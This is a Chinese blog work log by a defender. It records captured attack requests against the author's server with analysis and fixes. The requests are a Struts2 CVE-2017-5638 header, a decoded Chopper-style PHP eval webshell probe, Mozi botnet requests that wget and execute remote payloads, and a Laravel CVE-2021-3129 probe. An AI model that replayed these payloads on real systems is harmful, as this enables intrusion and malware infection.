{工作记录}遇到过的网络攻击合集&&爬虫User-Agent记录..{持续更新}

{工作记录}遇到过的网络攻击合集&&爬虫User-Agent记录..{持续更新},第1张

奇怪的攻击增加了!Exp!up!up!

“虽然看不懂是啥攻击,但是记下来感觉会有用处。”——harusaruhi

User-Agent:Xenu Link Sleuth 1.3.5(死链扫描器),python-requests/2.25.1(爬虫),curl/7.79.1(curl爬取)


2022年5月1日
攻击类型:WEB
漏洞名称:Struts2远程命令执行漏洞
CVE编号:CVE-2017-5638

GET / HTTP/1.1
Host: xxxxxxxxxx:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('R2t0CyQc','1')}.multipart/form-data
Accept-Encoding: gzip

属于任意命令执行类漏洞,攻击者可以通过修改GET的内容类型Content-Type来实现执行命令
自动化程度: 攻击者可以通过扫描web服务后进行批量主机攻击,自动化程度高
解决方法:Struts2升级至最新版本

(转自下文)在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分,默认情况下jakarta是启用的,故需特别重视!!!!

参考文章

漏洞介绍 https://blog.csdn.net/qq_44851362/article/details/108273673
详细struts2漏洞利用 https://blog.csdn.net/weixin_34837898/article/details/114123350

2022年5月2日
攻击类型:WEB
漏洞名称:PHP函数注入攻击
CVE编号:没找到属于CNCVE

记得把%2F替换成/才能base64解密要不然会报错

POST /xxxxx/mytag_js.php?aid=9090 HTTP/1.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: www.xxxxx.cn
Accept-Language: zh-cn
Referer: http://www.xxxxxx.com/xxxx/xxxxx/mytag_js.php?aid=9090
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Content-Length: 1496

guige=%40eval%2F%2A%15%99%D0%21%03%19s%20%0B%CB%A8%DD%E3%A3%C5%C4%BB%C5%CE%2A%2F%01%28%24%7B%27%5FP%27.%27OST%27%7D%5Bz9%5D%2F%2A%A0%9B%3F%C0%9A%3F%E0%99%3F%20%99%E3%2A%2F%01%28%24%7B%27%5FPOS%27.%27T%27%7D%5Bz0%5D%29%29%3B
&
z0=ODgwNTM4O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk
%2F
JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk
%2F
JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk
%2F
JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7
&
z9=BaSE64%5FdEcOdE

BASE64解密

#这里解密出来包含乱码,/*xxx*/内是不执行的,我先干掉了
guige=@eval(${'_P'.'OST'}[z9](${'_POS'.'T'}[z0]));
&z0=466557;
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo(">|");
;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
 $D=dirname($_SERVER["PATH_TRANSLATED"]);
$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));
$R="{$D}|".$root."|";
if(substr($D,0,1)!="/") {
	foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
$R.="|";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;
;
echo("|<-");
die();
&z9=BaSE64_Decode

主要执行执行z0主要获取系统目录和系统用户啥的,感觉有点菜刀的特征(参考下文)这个还有明文形式的,能够实现此类攻击的有多种工具任你选择(草)
不过我们这并没有对应的路径以及php,所以可以确定是自动化尝试性注入。
自动化程度: 攻击者通过现有工具如chopper、xise等即可实现自动化试探攻击,此类攻击有很多形式但是万变不离其宗…,自动化程度程度高
解决方法:不用php(草 这类攻击主要针对thinkPHP这类php框架,及时更新thinkPHP即可。

详细介绍 https://blog.csdn.net/weixin_30814223/article/details/99616909

2022年5月3日
攻击类型:WEB
漏洞名称:mozi 他爹是Mirai人称小墨子
CVE编号:无,属于木马
墨子的典型特征就是User-Agent用Hello,world,非常的gud

GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;
chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: xxx.x.x.x:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive

由这段wget+http://192.168.1.1:8088/Mozi.a 可以看出来是需要通过攻击本地网关设备后,在网关设备创建http,而后对局域网内主机进行下载进行的攻击。如果你的网关没有被攻破,则此攻击不会生效。

而mozi其本身病毒对网关也会发起攻击,不同点在于wget这里使用的是被攻陷的互联网主机搭建的http
对于网关发起的攻击如下。

GET /shell?cd+/tmp;rm+-rf+*;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaws HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive

User-Agent还是Hello, world离谱 这里用的公网被沦陷的主机作为wget下载传染文件,很呆。
不过一旦网关没有做好防护,如没有启用防火墙,关闭危险端口等,由mozi自带的字典telnet之类的爆破进去或者利用设备CVE进去。从而使网关被沦陷,其所有内网主机将全部被感染,并且被劫持主机将会关闭22等远程访问端口,墨子的特色在于能够自己更新同步config所以变种速度极快。

自动化程度: 比他爹mirai还智能,自动化程度贼高
解决方法: 网关设复杂密码,及时更新网关版本,或者前面搞个防护设备别老裸奔,这类攻击主要打的就是机房。

此木马在不断变种,v2版本的mozi在样本分析后发现,新增了数个CVE利用方式及新的伪装模式。详细参考下文

绿盟伏影:MOZI木马新版本程序与新的攻击热潮
http://blog.nsfocus.net/mozi/
样本分析:
https://blog.csdn.net/qq_39542714/article/details/120929308
mozi介绍:
https://zhuanlan.zhihu.com/p/408890419

2022年5月4日
攻击类型:WEB
漏洞名称:Laravel代码执行漏洞
CVE编号:CVE-2021-3129

POST /_ignition/execute-solution HTTP/1.1
Host: xxx.xxx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 155
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": ""
  }
}

反序列化高危漏洞 特征为:POST 请求 /_ignition/execute-solution接口
且请求内容包含 “solution”: “Facade\Ignition\Solutions\MakeViewVariableOptionalSolution”

当Laravel<=8.4.2,ignition组件版本<=2.5.1时,Ignition作为错误页生成器在访问报错页的时候会提供solution以帮助开发者快速修复页面;报错页面点击提交加密key,在提交时抓包可以发现是通过POST /_ignition/execute-solution接口来调用Facade\Ignition\Solutions\目录下的内置的几种solution。
其中MakeViewVariableOptionalSolution方式回传到log中的存在过滤不严谨,故可以被利用提交序列化到log,并通过phar对log实现反序列化执行。
自动化程度: 有许多现成脚本,不管你用没用Laravel或者压根就没用,上来就自动盲打接口一点脑子都不动,或者说是自动化已经非常成熟。我们这压根就没有用Laravel、ignition啥的,只要他扫到你有web就会自动打一下试试,自动化程度程度高
解决方法:多更新,或者直接把solution之类的debug模式干碎,不让他提供报错方式,关闭/_ignition/execute-solution接口

漏洞发布 https://www.ambionics.io/blog/laravel-debug-rce
分析复现(这个讲得非常适合入门)https://xz.aliyun.com/t/9030
漏洞分析https://bbs.huaweicloud.com/blogs/337020

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/langs/796078.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-05-06
下一篇2022-05-06

发表评论

登录后才能评论

评论列表(0条)

    保存